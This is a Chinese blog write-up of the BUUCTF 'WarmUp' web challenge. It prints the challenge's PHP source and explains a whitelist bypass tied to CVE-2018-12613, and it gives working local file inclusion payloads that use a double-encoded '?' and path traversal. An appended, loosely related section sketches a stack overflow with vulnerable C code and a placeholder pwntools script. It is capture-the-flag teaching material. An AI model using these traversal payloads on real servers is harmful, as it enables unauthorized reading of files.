BUUCTF-WEB-WarmUp

本文深入分析了CVE-2018-12613,即PhpMyadmin文件包含漏洞的具体细节,探讨了其成因、利用方式及修复方法,为读者提供了丰富的安全防护知识。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

source.php页面看源码


 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  ?>

这是CVE-2018-12613 PhpMyadmin文件包含漏洞
百度有很多分析的帖子

再如
payload:  xxxx.php%253F/…/…/…/…/xxxx

对这道题就是
http://web5.buuoj.cn/?file=payload
要注意的是目录的问题
http://web5.buuoj.cn/?file=hint.php%253F/hint.php
这样不是当前目录,要加一个/…
http://web5.buuoj.cn/?file=hint.php%253F/…/source.php
这个才是当前目录

一层层目录找
最后在这里拿到flag
http://web5.buuoj.cn/?file=hint.php%253F/…/…/…/…/ffffllllaaaagggg

### BUUCTF Warmup 题目解决方案 在处理BUUCTF平台上的Warmup题目时,通常这些题目旨在帮助参赛者熟悉比赛环境和基本技巧。对于warmup_csaw_2016这类涉及栈溢出覆盖返回地址的题目[^3],解决方法主要依赖于理解程序内存布局以及如何利用缓冲区溢出来控制程序流。 #### 利用栈溢出漏洞获取Flag 针对此类问题的一个常见策略是通过精心构建输入来触发栈溢出,进而修改函数返回地址指向攻击者指定的位置。具体操作如下: ```c #include <stdio.h> #include <string.h> void vulnerable_function(char *str) { char buffer[64]; strcpy(buffer, str); // Potential stack overflow here. } int main(int argc, char **argv) { if (argc > 1) vulnerable_function(argv[1]); } ``` 为了成功完成此挑战,可以采用以下Python脚本生成恶意负载,并发送给目标服务以实现对`/bin/sh`或其他命令执行路径的有效调用,最终读取标志文件的内容。 ```python from pwn import * # Connect to the remote service or start a local process conn = remote('target_ip', port) payload = b'A' * offset_to_return_address + pack(return_address_value) # Send payload and interact with shell conn.sendline(payload) conn.interactive() ``` 上述代码片段展示了如何创建一个简单的网络连接对象并与之交互;同时构造了一个由填充字符组成的有效载荷,其长度足以填满原始缓冲区并覆盖返回地址字段。这里假设已知偏移量(`offset_to_return_address`)及期望跳转的目标位置(`return_address_value`)。 当面对其他类型的Web应用安全测试场景时,比如LFI(Local File Inclusion),则可能涉及到使用PHP过滤器绕过某些限制条件从而直接访问敏感数据的情况。例如,在查询字符串参数中加入特定模式可使服务器端解析为Base64编码后的源码展示形式[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值